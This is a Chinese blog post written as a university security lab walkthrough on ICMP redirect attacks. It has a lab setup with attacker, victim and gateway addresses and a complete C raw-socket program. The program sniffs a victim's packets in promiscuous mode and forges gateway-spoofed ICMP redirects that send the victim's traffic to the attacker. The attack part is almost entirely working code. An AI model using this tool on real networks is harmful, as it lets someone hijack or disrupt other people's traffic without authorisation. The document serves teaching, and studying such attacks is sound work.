中科大软件学院信息安全实验1 ICMP重定向

 题目来源Lab1: ICMP重定向 - 知乎

不涉及原理,只讲操作。ubuntu版本很重要,不同版本相同代码可能无法运行。

攻击者A:ip:192.168.244.129 (ubuntu20.04)

被攻击者B:ip:192.168.244.130(ubunutu20.04)

网关C:ip:192.168.244.2

ps:查询本主机ip命令ifconfig

查询网关ip


命令实现重定向

重定向前,B可以ping通

A开始发送重定向包,地址分别是A的ip和网关ip

此时看B已经ping不通百度了

raw socket实现重定向

A的代码文件1个

cmp_redirect.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<netinet/ip_icmp.h>
#include<netinet/tcp.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ether.h>
#define BUFFSIZE 1024
 
/*
*总体思路:每当用raw socket捕获一个特定IP地址的数据包
*就利用收到的数据包的一部分,构造一个ICMP包,发送给该数据包的源IP地址,同时将发送方的身份修改为网关
*重要提示:请确保自己的机子开启了混杂模式!!!不然很难捕获到受害者的数据包
*/
 
/*
*ifconfig eth0 promisc 设置eth0为混杂模式。
*ifconfig eth0 -promisc 取消它的混杂模式
*可能需要加sudo
*/
 
//struct of the packet to be sent
struct packet{
        struct iphdr ip_header;
        struct icmp my_icmp;
}packet;
 
//计算校验和
unsigned short in_cksum(unsigned short *addr, int len)
{
        int sum=0;
        unsigned short res=0;
        while( len > 1)  {
                sum += *addr++;
                len -=2;
               // printf("sum is %x.\n",sum);
        }
        if( len == 1) {
                *((unsigned char *)(&res))=*((unsigned char *)addr);
                sum += res;
        }
        sum = (sum >>16) + (sum & 0xffff);
        sum += (sum >>16) ;
        res = ~sum;
        return res;
}
int main(int argc,char *argv[]){
 
	int recvsock;//用于接收以太网帧的socket
	int sendsock;//用于构造重定向ICMP的socket
	unsigned char buff[BUFFSIZE];
	unsigned char* gateway_ip;
	unsigned char* victim_ip;
	unsigned char* attacker_ip;
	if(argc < 4){
		printf("please enter the ip of gateway victim attacker");
		return -1;
	}
	//将命令行参数分别保存给对应IP地址
	gateway_ip = argv[1];
	victim_ip = argv[2];
	attacker_ip = argv[3];
 
	printf("the victim is %s", victim_ip);
 
	//the receiver of the ICMP redirect packet 
	struct sockaddr_in dest;
    dest.sin_family=AF_INET;
    dest.sin_addr.s_addr=inet_addr(victim_ip);
 
	//create the socket for capturing the very packet
	recvsock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
	if(recvsock < 0){
		printf("raw recvsocket error!\n");
		exit(1);
	}
	//create necessary info for capturing the very packet
	// struct sockaddr_in filteraddr;
	// filteraddr.sin_family = AF_INET;
	// filteraddr.sin_port = 0;
	// filteraddr.sin_addr.s_addr = inet_addr(victim_ip);
	// int addr_len=sizeof(struct sockaddr_in);
 
	//create the sendsock
	sendsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
	//since we want to send packet as a gateway, we should change the IPheader 
	const int on = 1;
	if(setsockopt(sendsock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) < 0)
	{	
 	 printf("set socket option error!\n");
	}
 
	int res;
	while(1){
		res = recvfrom(recvsock, buff, BUFFSIZE, 0, NULL, NULL);
		if(res < 0){
		printf("receive error!\n");
		return -2;
		}
		struct ip *ip = (struct ip*)(buff+14);
		if(strcmp(inet_ntoa(ip->ip_src), victim_ip) != 0  ){
			continue;
		}
		printf("\ngot a packet from %s \n", inet_ntoa(ip->ip_src));
		printf("%15s", inet_ntoa(ip->ip_src));
		printf("%15s	%5d	\n",inet_ntoa(ip->ip_dst),ip->ip_p);
 
		//next, we will create the redirect packet and send to the victim as a gateway continually
		//first, we create the ip header
		struct packet redirect_pack;
		redirect_pack.ip_header.version = 4;
		redirect_pack.ip_header.ihl = 5;// per 4 bytes
		redirect_pack.ip_header.tos = 0;
		redirect_pack.ip_header.tot_len = htons(56);//packet total length
		redirect_pack.ip_header.id = getpid();
		redirect_pack.ip_header.frag_off = 0;
		redirect_pack.ip_header.ttl = 64;
		redirect_pack.ip_header.protocol = IPPROTO_ICMP;
		redirect_pack.ip_header.check = 0; //checksum set 0 ,finally we will get the correct number
		redirect_pack.ip_header.saddr = inet_addr(gateway_ip);
		redirect_pack.ip_header.daddr = inet_addr(victim_ip);
		//then, we create the partion of IP data (ICMP) of the redirect packet
		redirect_pack.my_icmp.icmp_type = ICMP_REDIRECT;
		redirect_pack.my_icmp.icmp_code = ICMP_REDIR_HOST;
		redirect_pack.my_icmp.icmp_cksum = 0;
		redirect_pack.my_icmp.icmp_hun.ih_gwaddr.s_addr = inet_addr(attacker_ip);//here is the very keypoint 
		//we need to pad something with the packet we captured 
		memcpy(&redirect_pack.my_icmp.icmp_dun, ip, 28);//the padding part include the ip header + 8bytes ip data
		//calculate the checksum again
		redirect_pack.ip_header.check = in_cksum(&(redirect_pack.ip_header), sizeof(redirect_pack.ip_header));
		redirect_pack.my_icmp.icmp_cksum = in_cksum(&(redirect_pack.my_icmp), sizeof(redirect_pack.my_icmp)+8);
		//now we can send the icmp redirect packet
		printf("now we are sending the redirect package to victim %s\n", victim_ip);
		sendto(sendsock, &redirect_pack, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
	}
	close(recvsock);
	close(sendsock);
 
 
}

A上编译,成功会生成a.out文件

A开启混杂模式

此处ens33不定,看本机使用的是哪个网卡决定.

实验结束记得关闭混杂模式:

A运行a.out。传入的地址分别是网关,被攻击者,攻击者。

B无法ping通

结束

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值